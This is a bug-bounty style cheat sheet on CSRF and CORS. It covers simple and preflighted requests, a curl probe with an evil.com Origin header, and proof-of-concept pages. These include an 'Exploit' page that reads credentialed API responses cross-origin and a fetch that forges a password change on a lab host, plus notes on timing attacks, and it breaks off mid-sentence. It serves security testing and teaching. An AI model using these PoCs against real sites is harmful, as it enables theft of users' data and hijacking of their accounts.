Skip to content

CSRF

CSRF (Cross Side Request Forgery)

CORS Information

Simple Requests

  • uses GET, HEAD or POST method
  • doesn’t have headers other than the small subset defined in the specification (any custom or Authorization header breaks this condition)
  • the only allowed values for Content-Type header are application/x-www-form-urlencoded, multipart/form-data, text/plain (application/json breaks this condition)

Attacks:
Using an img tag and using the href will make a simple get request to the server with the users cookies.

Using a form post will allow a post to the website with Content-Type header of application/x-www-form-urlencoded.

Usign the Navagator.sendBeacon() allows the bypass of allowing the Content-Type application/json to be used with a simple request.

function logData() {
  navigator.sendBeacon("/log", analyticsData);
}

Preflighted Requests

Sends an additional preliminary OPTIONS request (“preflight request”) in order to determine whether the actual request (“preflighted request”) is safe to send.

Example Preflight Request:

OPTIONS /api/monsters HTTP/1.1
Host: cookiemonster.com
Origin: https://www.sesamestreet.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Content-Type

Example Preflight Response:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://www.sesamestreet.com
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Headers: Content-Type

Performance note: sending a preflight request every time can be a performance overhead. This can be mitigated by caching preflight requests using Access-Control-Max-Age response header.

Testing CORS

Add a Custom Origin header and see if a HEAD request returns Access-Control-Allow-Origin or Access-Control-Allow-Credentials headers

curl --head -s 'http://example.com/api/v1/secret' -H 'Origin: http://evil.com'

Check to see what the server responds with in the Access-Control-Allow-Origin: (if anything) and if so, check if Access-Control-Allow-Credentials: true is present.

PoC

If it is trusting arbitrary origins with allow-credentials set to true, then host this HTML as a proof of concept.

XMLHttpRequest PoC:

<!DOCTYPE html>
<html>
<head><title>BugBounty CheatSheet</title></head>
<body>
<center>
<h2>CORs POC</h2>

<textarea rows="10" cols="60" id="pwnz">
</textarea><br>
<button type="button" onclick="cors()">Exploit</button>
</div>

<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("pwnz").innerHTML = this.responseText;
    }
  };
  xhttp.open("GET", "http://example.com/api/v1/topsecret", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>
</center>
</body>
</html>

Fetch Cross Domain File Upload PoC:

var myFormData = new FormData();
var blobData = new Blob(["TestData"], {type: 'text/html'})

myFormData.append('file', blobData, "filename.html");
myFormData.append('otherdata', "More Data")

fetch('http://192.168.0.90/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change', {
  method: 'post',
  body: myFormData,
  mode: "no-cors",
  credentials: "include"
});

Test jQuery CORS:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<title>Test HTML File</title>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
<script src="https://code.jquery.com/jquery-3.3.1.min.js"></script>

<script>
Object.defineProperty(document, "referrer", {get : function(){ return "test2.com"; }});

$.ajax({
    url: 'https://httpbin.com/get',
    type: 'GET',
    data: "TESTDATA",
    async: true,
    success: function(msg) {
        alert(msg);
    }
});
location.href = "https://test.com";
</script>


</head>
<body>

<p>This is a very simple HTML file.</p>

</body>
</html>

Cross-Domain timing

Using Cross Domain loads and monitoring the time it takes to load the page can tell if the user is logged in or not.

Using Cross Domain loads and monitoring the time it takes to retrieve the page can tell if the user has recently been on that page and is in the cache.

Using Cross Domain loads and with the onload and onerror handlers can see if user is logged in to the website.

For a GET request, a good bet is the tag plus the onerror() / onload() events.
For a POST request, you can direct the post to an